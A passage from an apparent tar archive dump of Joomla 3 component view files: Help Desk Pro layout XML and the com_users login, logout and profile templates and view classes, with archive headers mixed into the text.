if ($app->get('MetaAuthor') == '1')
{
$this->document->setMetaData('author',
$this->item->author);
}
$mdata = $this->item->metadata->toArray();
foreach ($mdata as $k => $v)
{
if ($v)
{
$this->document->setMetadata($k, $v);
}
}
}
}
article/tmpl/default.xml000064400000000771151165604030011317
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="Article Detail">
<message>
Display detail information of a Knowledge Base article
</message>
</layout>
<fields name="request">
<fieldset name="request"
addfieldpath="/administrator/components/com_helpdeskpro/Model/fields">
<field name="id" type="HelpdeskProArticle"
size="3" default="0" label="Select Article"
description="Select Article which you want to display" />
</fieldset>
</fields>
</metadata>articles/tmpl/default.xml000064400000001145151165604030011476
0ustar00<metadata>
<layout title="Knowledge Base Articles">
<message>
Display list of Knowledge Base categories.
</message>
</layout>
<state>
<name>Knowledge Base Articles</name>
<description>Knowledge Base Articles</description>
<fields name="request">
<fieldset name="request"
addfieldpath="/administrator/components/com_helpdeskpro/fields">
<field name="id" type="hdpcategory"
category_type="2" label="Category"
description="If you select a category here, only articles from
this category will be displayed" default="0" />
</fieldset>
</fields>
</state>
</metadata>ticket/tmpl/form.xml000064400000001344151165604030010473
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="Submit Ticket">
<message>
Display Form allows users to submit support ticket
</message>
<fields name="params">
<fieldset name="basic"
addfieldpath="/administrator/components/com_helpdeskpro/fields">
<field name="default_category_id"
type="hdpcategory" category_type="1"
label="Default Category"
description="Select the default category for submit ticket
form" default="0" />
<field name="category_ids" type="text"
label="Category Ids"
description="Enter IDs of categories which you want to allow
users to submit tickets to via this menu item, comma separated"
default="" />
</fieldset>
</fields>
</layout>
</metadata>tickets/tmpl/default.xml000064400000000334151165604030011335
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="Ticket List/ Manage Tickets">
<message>
Display list of support tickets to register users and to managers
</message>
</layout>
</metadata>login/tmpl/default.php000064400000001052151165607120010767
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$cookieLogin = $this->user->get('cookieLogin');
if (!empty($cookieLogin) || $this->user->get('guest'))
{
// The user is not logged in or needs to provide a password.
echo $this->loadTemplate('login');
}
else
{
// The user is already logged in.
echo $this->loadTemplate('logout');
}
login/tmpl/default.xml000064400000010107151165607120011001 0ustar00<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_USER_LOGIN_VIEW_DEFAULT_TITLE"
option="COM_USER_LOGIN_VIEW_DEFAULT_OPTION">
<help
key = "JHELP_MENUS_MENU_ITEM_USER_LOGIN"
/>
<message>
<![CDATA[COM_USER_LOGIN_VIEW_DEFAULT_DESC]]>
</message>
</layout>
<!-- Add fields to the parameters object for the layout. -->
<fields name="params">
<!-- Basic options. -->
<fieldset name="basic"
addrulepath="components/com_users/models/rules"
label="COM_MENUS_BASIC_FIELDSET_LABEL">
<field
name="loginredirectchoice"
type="radio"
label="COM_USERS_FIELD_LOGIN_REDIRECT_CHOICE_LABEL"
description="COM_USERS_FIELD_LOGIN_REDIRECT_CHOICE_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option
value="1">COM_USERS_FIELD_LOGIN_MENUITEM</option>
<option
value="0">COM_USERS_FIELD_LOGIN_URL</option>
</field>
<field
name="login_redirect_url"
type="text"
label="JFIELD_LOGIN_REDIRECT_URL_LABEL"
description="JFIELD_LOGIN_REDIRECT_URL_DESC"
class="inputbox"
validate="loginuniquefield"
field="login_redirect_menuitem"
hint="COM_USERS_FIELD_LOGIN_REDIRECT_PLACEHOLDER"
message="COM_USERS_FIELD_LOGIN_REDIRECT_ERROR"
showon="loginredirectchoice:0"
/>
<field
name="login_redirect_menuitem"
type="modal_menu"
label="COM_USERS_FIELD_LOGIN_REDIRECTMENU_LABEL"
description="COM_USERS_FIELD_LOGIN_REDIRECTMENU_DESC"
disable="separator,alias,heading,url"
showon="loginredirectchoice:1"
select="true"
new="true"
edit="true"
clear="true"
>
<option value="">JDEFAULT</option>
</field>
<field
name="logindescription_show"
type="list"
label="JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_LABEL"
description="JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_DESC"
default="1"
class="chzn-color"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="login_description"
type="textarea"
label="JFIELD_BASIS_LOGIN_DESCRIPTION_LABEL"
description="JFIELD_BASIS_LOGIN_DESCRIPTION_DESC"
rows="3"
cols="40"
filter="safehtml"
showon="logindescription_show:1"
/>
<field
name="login_image"
type="media"
label="JFIELD_LOGIN_IMAGE_LABEL"
description="JFIELD_LOGIN_IMAGE_DESC"
/>
<field
name="spacer1"
type="spacer"
hr="true"
/>
<field
name="logoutredirectchoice"
type="radio"
label="COM_USERS_FIELD_LOGOUT_REDIRECT_CHOICE_LABEL"
description="COM_USERS_FIELD_LOGOUT_REDIRECT_CHOICE_DESC"
class="btn-group btn-group-yesno"
default="1"
>
<option
value="1">COM_USERS_FIELD_LOGIN_MENUITEM</option>
<option
value="0">COM_USERS_FIELD_LOGIN_URL</option>
</field>
<field
name="logout_redirect_url"
type="text"
label="JFIELD_LOGOUT_REDIRECT_URL_LABEL"
description="JFIELD_LOGOUT_REDIRECT_URL_DESC"
class="inputbox"
field="logout_redirect_menuitem"
validate="logoutuniquefield"
hint="COM_USERS_FIELD_LOGIN_REDIRECT_PLACEHOLDER"
message="COM_USERS_FIELD_LOGOUT_REDIRECT_ERROR"
showon="logoutredirectchoice:0"
/>
<field
name="logout_redirect_menuitem"
type="modal_menu"
label="COM_USERS_FIELD_LOGOUT_REDIRECTMENU_LABEL"
description="COM_USERS_FIELD_LOGOUT_REDIRECTMENU_DESC"
disable="separator,alias,heading,url"
showon="logoutredirectchoice:1"
select="true"
new="true"
edit="true"
clear="true"
>
<option value="">JDEFAULT</option>
</field>
<field
name="logoutdescription_show"
type="list"
label="JFIELD_BASIS_LOGOUT_DESCRIPTION_SHOW_LABEL"
description="JFIELD_BASIS_LOGOUT_DESCRIPTION_SHOW_DESC"
default="1"
class="chzn-color"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="logout_description"
type="textarea"
label="JFIELD_BASIS_LOGOUT_DESCRIPTION_LABEL"
description="JFIELD_BASIS_LOGOUT_DESCRIPTION_DESC"
rows="3"
cols="40"
filter="safehtml"
showon="logoutdescription_show:1"
/>
<field
name="logout_image"
type="media"
label="JFIELD_LOGOUT_IMAGE_LABEL"
description="JFIELD_LOGOUT_IMAGE_DESC"
/>
</fieldset>
</fields>
</metadata>
login/tmpl/default_login.php000064400000006373151165607120012172
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');
?>
<div class="login<?php echo $this->pageclass_sfx;
?>">
<?php if ($this->params->get('show_page_heading')) :
?>
<div class="page-header">
<h1>
<?php echo
$this->escape($this->params->get('page_heading')); ?>
</h1>
</div>
<?php endif; ?>
<?php if (($this->params->get('logindescription_show')
== 1 && str_replace(' ', '',
$this->params->get('login_description')) != '')
|| $this->params->get('login_image') != '') :
?>
<div class="login-description">
<?php endif; ?>
<?php if ($this->params->get('logindescription_show')
== 1) : ?>
<?php echo $this->params->get('login_description');
?>
<?php endif; ?>
<?php if ($this->params->get('login_image') !=
'') : ?>
<img src="<?php echo
$this->escape($this->params->get('login_image'));
?>" class="login-image" alt="<?php echo
JText::_('COM_USERS_LOGIN_IMAGE_ALT'); ?>" />
<?php endif; ?>
<?php if (($this->params->get('logindescription_show')
== 1 && str_replace(' ', '',
$this->params->get('login_description')) != '')
|| $this->params->get('login_image') != '') :
?>
</div>
<?php endif; ?>
<form action="<?php echo
JRoute::_('index.php?option=com_users&task=user.login');
?>" method="post" class="form-validate
form-horizontal well">
<fieldset>
<?php echo
$this->form->renderFieldset('credentials'); ?>
<?php if ($this->tfa) : ?>
<?php echo $this->form->renderField('secretkey');
?>
<?php endif; ?>
<?php if (JPluginHelper::isEnabled('system',
'remember')) : ?>
<div class="control-group">
<div class="control-label">
<label for="remember">
<?php echo JText::_('COM_USERS_LOGIN_REMEMBER_ME');
?>
</label>
</div>
<div class="controls">
<input id="remember" type="checkbox"
name="remember" class="inputbox" value="yes"
/>
</div>
</div>
<?php endif; ?>
<div class="control-group">
<div class="controls">
<button type="submit" class="btn
btn-primary">
<?php echo JText::_('JLOGIN'); ?>
</button>
</div>
</div>
<?php $return = $this->form->getValue('return',
'', $this->params->get('login_redirect_url',
$this->params->get('login_redirect_menuitem'))); ?>
<input type="hidden" name="return"
value="<?php echo base64_encode($return); ?>" />
<?php echo JHtml::_('form.token'); ?>
</fieldset>
</form>
</div>
<div>
<ul class="nav nav-tabs nav-stacked">
<li>
<a href="<?php echo
JRoute::_('index.php?option=com_users&view=reset');
?>">
<?php echo JText::_('COM_USERS_LOGIN_RESET'); ?>
</a>
</li>
<li>
<a href="<?php echo
JRoute::_('index.php?option=com_users&view=remind');
?>">
<?php echo JText::_('COM_USERS_LOGIN_REMIND'); ?>
</a>
</li>
<?php $usersConfig =
JComponentHelper::getParams('com_users'); ?>
<?php if ($usersConfig->get('allowUserRegistration')) :
?>
<li>
<a href="<?php echo
JRoute::_('index.php?option=com_users&view=registration');
?>">
<?php echo JText::_('COM_USERS_LOGIN_REGISTER'); ?>
</a>
</li>
<?php endif; ?>
</ul>
</div>
login/tmpl/default_logout.php000064400000004227151165607120012367
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<div class="logout<?php echo $this->pageclass_sfx;
?>">
<?php if ($this->params->get('show_page_heading')) :
?>
<div class="page-header">
<h1>
<?php echo
$this->escape($this->params->get('page_heading')); ?>
</h1>
</div>
<?php endif; ?>
<?php if (($this->params->get('logoutdescription_show')
== 1 && str_replace(' ', '',
$this->params->get('logout_description')) !=
'')|| $this->params->get('logout_image') !=
'') : ?>
<div class="logout-description">
<?php endif; ?>
<?php if ($this->params->get('logoutdescription_show')
== 1) : ?>
<?php echo $this->params->get('logout_description');
?>
<?php endif; ?>
<?php if ($this->params->get('logout_image') !=
'') : ?>
<img src="<?php echo
$this->escape($this->params->get('logout_image'));
?>" class="thumbnail pull-right logout-image"
alt="<?php echo JText::_('COM_USER_LOGOUT_IMAGE_ALT');
?>" />
<?php endif; ?>
<?php if (($this->params->get('logoutdescription_show')
== 1 && str_replace(' ', '',
$this->params->get('logout_description')) !=
'')|| $this->params->get('logout_image') !=
'') : ?>
</div>
<?php endif; ?>
<form action="<?php echo
JRoute::_('index.php?option=com_users&task=user.logout');
?>" method="post" class="form-horizontal
well">
<div class="control-group">
<div class="controls">
<button type="submit" class="btn
btn-primary">
<span class="icon-arrow-left icon-white"></span>
<?php echo JText::_('JLOGOUT'); ?>
</button>
</div>
</div>
<?php if ($this->params->get('logout_redirect_url')) :
?>
<input type="hidden" name="return"
value="<?php echo
base64_encode($this->params->get('logout_redirect_url',
$this->form->getValue('return'))); ?>" />
<?php else : ?>
<input type="hidden" name="return"
value="<?php echo
base64_encode($this->params->get('logout_redirect_menuitem',
$this->form->getValue('return'))); ?>" />
<?php endif; ?>
<?php echo JHtml::_('form.token'); ?>
</form>
</div>
login/tmpl/logout.xml000064400000001757151165607120010701 0ustar00<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_USER_LOGOUT_VIEW_DEFAULT_TITLE"
option="COM_USER_LOGOUT_VIEW_DEFAULT_OPTION">
<help key = "JHELP_MENUS_MENU_ITEM_USER_LOGOUT"/>
<message>
<![CDATA[COM_USER_LOGOUT_VIEW_DEFAULT_DESC]]>
</message>
</layout>
<!-- Add fields to the request variables for the layout. -->
<fields name="request">
<fieldset name="request">
<field
name="task"
type="hidden"
default="user.menulogout"
/>
</fieldset>
</fields>
<!-- Add fields to the parameters object for the layout. -->
<fields name="params">
<fieldset name="basic"
label="COM_MENUS_BASIC_FIELDSET_LABEL">
<field
name="logout"
type="modal_menu"
label="JFIELD_LOGOUT_REDIRECT_PAGE_LABEL"
description="JFIELD_LOGOUT_REDIRECT_PAGE_DESC"
disable="separator,alias,heading,url"
select="true"
new="true"
edit="true"
clear="true"
>
<option value="">JDEFAULT</option>
</field>
</fieldset>
</fields>
</metadata>
login/view.html.php000064400000005740151165607120010314 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Login view class for Users.
*
* @since 1.5
*/
class UsersViewLogin extends JViewLegacy
{
protected $form;
protected $params;
protected $state;
protected $user;
/**
* Method to display the view.
*
* @param string $tpl The name of the template file to parse;
automatically searches through the template paths.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @since 1.5
*/
public function display($tpl = null)
{
// Get the view data.
$this->user = JFactory::getUser();
$this->form = $this->get('Form');
$this->state = $this->get('State');
$this->params = $this->state->get('params');
// Check for errors.
if (count($errors = $this->get('Errors')))
{
JError::raiseError(500, implode('<br />', $errors));
return false;
}
// Check for layout override
$active = JFactory::getApplication()->getMenu()->getActive();
if (isset($active->query['layout']))
{
$this->setLayout($active->query['layout']);
}
$tfa = JAuthenticationHelper::getTwoFactorMethods();
$this->tfa = is_array($tfa) && count($tfa) > 1;
// Escape strings for HTML output
$this->pageclass_sfx =
htmlspecialchars($this->params->get('pageclass_sfx'),
ENT_COMPAT, 'UTF-8');
$this->prepareDocument();
parent::display($tpl);
}
/**
* Prepares the document
*
* @return void
*
* @since 1.6
*/
protected function prepareDocument()
{
$app = JFactory::getApplication();
$menus = $app->getMenu();
$user = JFactory::getUser();
$login = $user->get('guest') ? true : false;
$title = null;
// Because the application sets a default page title,
// we need to get it from the menu item itself
$menu = $menus->getActive();
if ($menu)
{
$this->params->def('page_heading',
$this->params->get('page_title', $menu->title));
}
else
{
$this->params->def('page_heading', $login ?
JText::_('JLOGIN') : JText::_('JLOGOUT'));
}
$title = $this->params->get('page_title', '');
if (empty($title))
{
$title = $app->get('sitename');
}
elseif ($app->get('sitename_pagetitles', 0) == 1)
{
$title = JText::sprintf('JPAGETITLE',
$app->get('sitename'), $title);
}
elseif ($app->get('sitename_pagetitles', 0) == 2)
{
$title = JText::sprintf('JPAGETITLE', $title,
$app->get('sitename'));
}
$this->document->setTitle($title);
if ($this->params->get('menu-meta_description'))
{
$this->document->setDescription($this->params->get('menu-meta_description'));
}
if ($this->params->get('menu-meta_keywords'))
{
$this->document->setMetadata('keywords',
$this->params->get('menu-meta_keywords'));
}
if ($this->params->get('robots'))
{
$this->document->setMetadata('robots',
$this->params->get('robots'));
}
}
}
profile/tmpl/default.php000064400000002043151165607120011320
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<div class="profile<?php echo $this->pageclass_sfx;
?>">
<?php if ($this->params->get('show_page_heading')) :
?>
<div class="page-header">
<h1>
<?php echo
$this->escape($this->params->get('page_heading')); ?>
</h1>
</div>
<?php endif; ?>
<?php if (JFactory::getUser()->id == $this->data->id) : ?>
<ul class="btn-toolbar pull-right">
<li class="btn-group">
<a class="btn" href="<?php echo
JRoute::_('index.php?option=com_users&task=profile.edit&user_id='
. (int) $this->data->id); ?>">
<span class="icon-user"></span>
<?php echo JText::_('COM_USERS_EDIT_PROFILE'); ?>
</a>
</li>
</ul>
<?php endif; ?>
<?php echo $this->loadTemplate('core'); ?>
<?php echo $this->loadTemplate('params'); ?>
<?php echo $this->loadTemplate('custom'); ?>
</div>
profile/tmpl/default.xml000064400000000463151165607120011335
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_USER_PROFILE_VIEW_DEFAULT_TITLE"
option="COM_USER_PROFILE_VIEW_DEFAULT_OPTION">
<help
key = "JHELP_MENUS_MENU_ITEM_USER_PROFILE"
/>
<message>
<![CDATA[COM_USER_PROFILE_VIEW_DEFAULT_DESC]]>
</message>
</layout>
</metadata>
profile/tmpl/default_core.php000064400000002421151165607120012330
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<fieldset id="users-profile-core">
<legend>
<?php echo JText::_('COM_USERS_PROFILE_CORE_LEGEND'); ?>
</legend>
<dl class="dl-horizontal">
<dt>
<?php echo JText::_('COM_USERS_PROFILE_NAME_LABEL'); ?>
</dt>
<dd>
<?php echo $this->escape($this->data->name); ?>
</dd>
<dt>
<?php echo JText::_('COM_USERS_PROFILE_USERNAME_LABEL');
?>
</dt>
<dd>
<?php echo $this->escape($this->data->username); ?>
</dd>
<dt>
<?php echo
JText::_('COM_USERS_PROFILE_REGISTERED_DATE_LABEL'); ?>
</dt>
<dd>
<?php echo JHtml::_('date',
$this->data->registerDate, JText::_('DATE_FORMAT_LC1'));
?>
</dd>
<dt>
<?php echo
JText::_('COM_USERS_PROFILE_LAST_VISITED_DATE_LABEL'); ?>
</dt>
<?php if ($this->data->lastvisitDate !=
$this->db->getNullDate()) : ?>
<dd>
<?php echo JHtml::_('date',
$this->data->lastvisitDate, JText::_('DATE_FORMAT_LC1'));
?>
</dd>
<?php else : ?>
<dd>
<?php echo JText::_('COM_USERS_PROFILE_NEVER_VISITED');
?>
</dd>
<?php endif; ?>
</dl>
</fieldset>
profile/tmpl/default_custom.php000064400000004624151165607120012721
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
JHtml::register('users.spacer', array('JHtmlUsers',
'spacer'));
$fieldsets = $this->form->getFieldsets();
if (isset($fieldsets['core']))
{
unset($fieldsets['core']);
}
if (isset($fieldsets['params']))
{
unset($fieldsets['params']);
}
$tmp = isset($this->data->jcfields) ?
$this->data->jcfields : array();
$customFields = array();
foreach ($tmp as $customField)
{
$customFields[$customField->name] = $customField;
}
?>
<?php foreach ($fieldsets as $group => $fieldset) : ?>
<?php $fields = $this->form->getFieldset($group); ?>
<?php if (count($fields)) : ?>
<fieldset id="users-profile-custom-<?php echo $group;
?>" class="users-profile-custom-<?php echo $group;
?>">
<?php if (isset($fieldset->label) && ($legend =
trim(JText::_($fieldset->label))) !== '') : ?>
<legend><?php echo $legend; ?></legend>
<?php endif; ?>
<?php if (isset($fieldset->description) &&
trim($fieldset->description)) : ?>
<p><?php echo
$this->escape(JText::_($fieldset->description)); ?></p>
<?php endif; ?>
<dl class="dl-horizontal">
<?php foreach ($fields as $field) : ?>
<?php if (!$field->hidden && $field->type !==
'Spacer') : ?>
<dt>
<?php echo $field->title; ?>
</dt>
<dd>
<?php if (key_exists($field->fieldname, $customFields)) :
?>
<?php echo strlen($customFields[$field->fieldname]->value)
? $customFields[$field->fieldname]->value :
JText::_('COM_USERS_PROFILE_VALUE_NOT_FOUND'); ?>
<?php elseif (JHtml::isRegistered('users.' .
$field->id)) : ?>
<?php echo JHtml::_('users.' . $field->id,
$field->value); ?>
<?php elseif (JHtml::isRegistered('users.' .
$field->fieldname)) : ?>
<?php echo JHtml::_('users.' . $field->fieldname,
$field->value); ?>
<?php elseif (JHtml::isRegistered('users.' .
$field->type)) : ?>
<?php echo JHtml::_('users.' . $field->type,
$field->value); ?>
<?php else : ?>
<?php echo JHtml::_('users.value', $field->value);
?>
<?php endif; ?>
</dd>
<?php endif; ?>
<?php endforeach; ?>
</dl>
</fieldset>
<?php endif; ?>
<?php endforeach; ?>
profile/tmpl/default_params.php000064400000002463151165607120012671
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
?>
<?php $fields = $this->form->getFieldset('params');
?>
<?php if (count($fields)) : ?>
<fieldset id="users-profile-custom">
<legend><?php echo
JText::_('COM_USERS_SETTINGS_FIELDSET_LABEL');
?></legend>
<dl class="dl-horizontal">
<?php foreach ($fields as $field) : ?>
<?php if (!$field->hidden) : ?>
<dt>
<?php echo $field->title; ?>
</dt>
<dd>
<?php if (JHtml::isRegistered('users.' . $field->id))
: ?>
<?php echo JHtml::_('users.' . $field->id,
$field->value); ?>
<?php elseif (JHtml::isRegistered('users.' .
$field->fieldname)) : ?>
<?php echo JHtml::_('users.' . $field->fieldname,
$field->value); ?>
<?php elseif (JHtml::isRegistered('users.' .
$field->type)) : ?>
<?php echo JHtml::_('users.' . $field->type,
$field->value); ?>
<?php else : ?>
<?php echo JHtml::_('users.value', $field->value);
?>
<?php endif; ?>
</dd>
<?php endif; ?>
<?php endforeach; ?>
</dl>
</fieldset>
<?php endif; ?>
profile/tmpl/edit.php000064400000013001151165607120010615 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.tooltip');
// Load user_profile plugin language
$lang = JFactory::getLanguage();
$lang->load('plg_user_profile', JPATH_ADMINISTRATOR);
?>
<div class="profile-edit<?php echo $this->pageclass_sfx;
?>">
<?php if ($this->params->get('show_page_heading')) :
?>
<div class="page-header">
<h1>
<?php echo
$this->escape($this->params->get('page_heading')); ?>
</h1>
</div>
<?php endif; ?>
<script type="text/javascript">
Joomla.twoFactorMethodChange = function(e)
{
var selectedPane = 'com_users_twofactor_' +
jQuery('#jform_twofactor_method').val();
jQuery.each(jQuery('#com_users_twofactor_forms_container>div'),
function(i, el)
{
if (el.id != selectedPane)
{
jQuery('#' + el.id).hide(0);
}
else
{
jQuery('#' + el.id).show(0);
}
});
}
</script>
<form id="member-profile" action="<?php echo
JRoute::_('index.php?option=com_users&task=profile.save');
?>" method="post" class="form-validate
form-horizontal well" enctype="multipart/form-data">
<?php // Iterate through the form fieldsets and display each one.
?>
<?php foreach ($this->form->getFieldsets() as $group =>
$fieldset) : ?>
<?php $fields = $this->form->getFieldset($group); ?>
<?php if (count($fields)) : ?>
<fieldset>
<?php // If the fieldset has a label set, display it as the legend.
?>
<?php if (isset($fieldset->label)) : ?>
<legend>
<?php echo JText::_($fieldset->label); ?>
</legend>
<?php endif; ?>
<?php if (isset($fieldset->description) &&
trim($fieldset->description)) : ?>
<p>
<?php echo $this->escape(JText::_($fieldset->description));
?>
</p>
<?php endif; ?>
<?php // Iterate through the fields in the set and display them.
?>
<?php foreach ($fields as $field) : ?>
<?php // If the field is hidden, just display the input. ?>
<?php if ($field->hidden) : ?>
<?php echo $field->input; ?>
<?php else : ?>
<div class="control-group">
<div class="control-label">
<?php echo $field->label; ?>
<?php if (!$field->required && $field->type !==
'Spacer') : ?>
<span class="optional">
<?php echo JText::_('COM_USERS_OPTIONAL'); ?>
</span>
<?php endif; ?>
</div>
<div class="controls">
<?php if ($field->fieldname === 'password1') :
?>
<?php // Disables autocomplete ?>
<input type="password"
style="display:none">
<?php endif; ?>
<?php echo $field->input; ?>
</div>
</div>
<?php endif; ?>
<?php endforeach; ?>
</fieldset>
<?php endif; ?>
<?php endforeach; ?>
<?php if (count($this->twofactormethods) > 1) : ?>
<fieldset>
<legend><?php echo
JText::_('COM_USERS_PROFILE_TWO_FACTOR_AUTH');
?></legend>
<div class="control-group">
<div class="control-label">
<label id="jform_twofactor_method-lbl"
for="jform_twofactor_method" class="hasTooltip"
title="<?php echo '<strong>' .
JText::_('COM_USERS_PROFILE_TWOFACTOR_LABEL') .
'</strong><br />' .
JText::_('COM_USERS_PROFILE_TWOFACTOR_DESC'); ?>">
<?php echo
JText::_('COM_USERS_PROFILE_TWOFACTOR_LABEL'); ?>
</label>
</div>
<div class="controls">
<?php echo JHtml::_('select.genericlist',
$this->twofactormethods, 'jform[twofactor][method]',
array('onchange' =>
'Joomla.twoFactorMethodChange()'), 'value',
'text', $this->otpConfig->method,
'jform_twofactor_method', false); ?>
</div>
</div>
<div id="com_users_twofactor_forms_container">
<?php foreach ($this->twofactorform as $form) : ?>
<?php $style = $form['method'] ==
$this->otpConfig->method ? 'display: block' :
'display: none'; ?>
<div id="com_users_twofactor_<?php echo
$form['method']; ?>" style="<?php echo $style;
?>">
<?php echo $form['form']; ?>
</div>
<?php endforeach; ?>
</div>
</fieldset>
<fieldset>
<legend>
<?php echo JText::_('COM_USERS_PROFILE_OTEPS'); ?>
</legend>
<div class="alert alert-info">
<?php echo JText::_('COM_USERS_PROFILE_OTEPS_DESC');
?>
</div>
<?php if (empty($this->otpConfig->otep)) : ?>
<div class="alert alert-warning">
<?php echo
JText::_('COM_USERS_PROFILE_OTEPS_WAIT_DESC'); ?>
</div>
<?php else : ?>
<?php foreach ($this->otpConfig->otep as $otep) : ?>
<span class="span3">
<?php echo substr($otep, 0, 4); ?>-<?php echo substr($otep,
4, 4); ?>-<?php echo substr($otep, 8, 4); ?>-<?php echo
substr($otep, 12, 4); ?>
</span>
<?php endforeach; ?>
<div class="clearfix"></div>
<?php endif; ?>
</fieldset>
<?php endif; ?>
<div class="control-group">
<div class="controls">
<button type="submit" class="btn btn-primary
validate">
<?php echo JText::_('JSUBMIT'); ?>
</button>
<a class="btn" href="<?php echo
JRoute::_('index.php?option=com_users&view=profile');
?>" title="<?php echo JText::_('JCANCEL');
?>">
<?php echo JText::_('JCANCEL'); ?>
</a>
<input type="hidden" name="option"
value="com_users" />
<input type="hidden" name="task"
value="profile.save" />
</div>
</div>
<?php echo JHtml::_('form.token'); ?>
</form>
</div>
profile/tmpl/edit.xml000064400000000470151165607120010634 0ustar00<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_USER_PROFILE_EDIT_DEFAULT_TITLE"
option="COM_USER_PROFILE_EDIT_DEFAULT_OPTION">
<help
key = "JHELP_MENUS_MENU_ITEM_USER_PROFILE_EDIT"
/>
<message>
<![CDATA[COM_USER_PROFILE_EDIT_DEFAULT_DESC]]>
</message>
</layout>
</metadata>
profile/view.html.php000064400000010206151165607120010635 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Profile view class for Users.
*
* @since 1.6
*/
class UsersViewProfile extends JViewLegacy
{
protected $data;
protected $form;
protected $params;
protected $state;
/**
* An instance of JDatabaseDriver.
*
* @var JDatabaseDriver
* @since 3.6.3
*/
protected $db;
/**
* Execute and display a template script.
*
* @param string $tpl The name of the template file to parse;
automatically searches through the template paths.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @since 1.6
*/
public function display($tpl = null)
{
$user = JFactory::getUser();
// Get the view data.
$this->data = $this->get('Data');
$this->form = $this->getModel()->getForm(new
JObject(array('id' => $user->id)));
$this->state = $this->get('State');
$this->params = $this->state->get('params');
$this->twofactorform = $this->get('Twofactorform');
$this->twofactormethods = UsersHelper::getTwoFactorMethods();
$this->otpConfig = $this->get('OtpConfig');
$this->db = JFactory::getDbo();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
JError::raiseError(500, implode('<br />', $errors));
return false;
}
// View also takes responsibility for checking if the user logged in with
remember me.
$cookieLogin = $user->get('cookieLogin');
if (!empty($cookieLogin))
{
// If so, the user must login to edit the password and other data.
// What should happen here? Should we force a logout which destroys the
cookies?
$app = JFactory::getApplication();
$app->enqueueMessage(JText::_('JGLOBAL_REMEMBER_MUST_LOGIN'),
'message');
$app->redirect(JRoute::_('index.php?option=com_users&view=login',
false));
return false;
}
// Check if a user was found.
if (!$this->data->id)
{
JError::raiseError(404,
JText::_('JERROR_USERS_PROFILE_NOT_FOUND'));
return false;
}
JPluginHelper::importPlugin('content');
$this->data->text = '';
JEventDispatcher::getInstance()->trigger('onContentPrepare',
array ('com_users.user', &$this->data,
&$this->data->params, 0));
unset($this->data->text);
// Check for layout override
$active = JFactory::getApplication()->getMenu()->getActive();
if (isset($active->query['layout']))
{
$this->setLayout($active->query['layout']);
}
// Escape strings for HTML output
$this->pageclass_sfx =
htmlspecialchars($this->params->get('pageclass_sfx'));
$this->prepareDocument();
return parent::display($tpl);
}
/**
* Prepares the document
*
* @return void
*
* @since 1.6
*/
protected function prepareDocument()
{
$app = JFactory::getApplication();
$menus = $app->getMenu();
$user = JFactory::getUser();
$title = null;
// Because the application sets a default page title,
// we need to get it from the menu item itself
$menu = $menus->getActive();
if ($menu)
{
$this->params->def('page_heading',
$this->params->get('page_title', $user->name));
}
else
{
$this->params->def('page_heading',
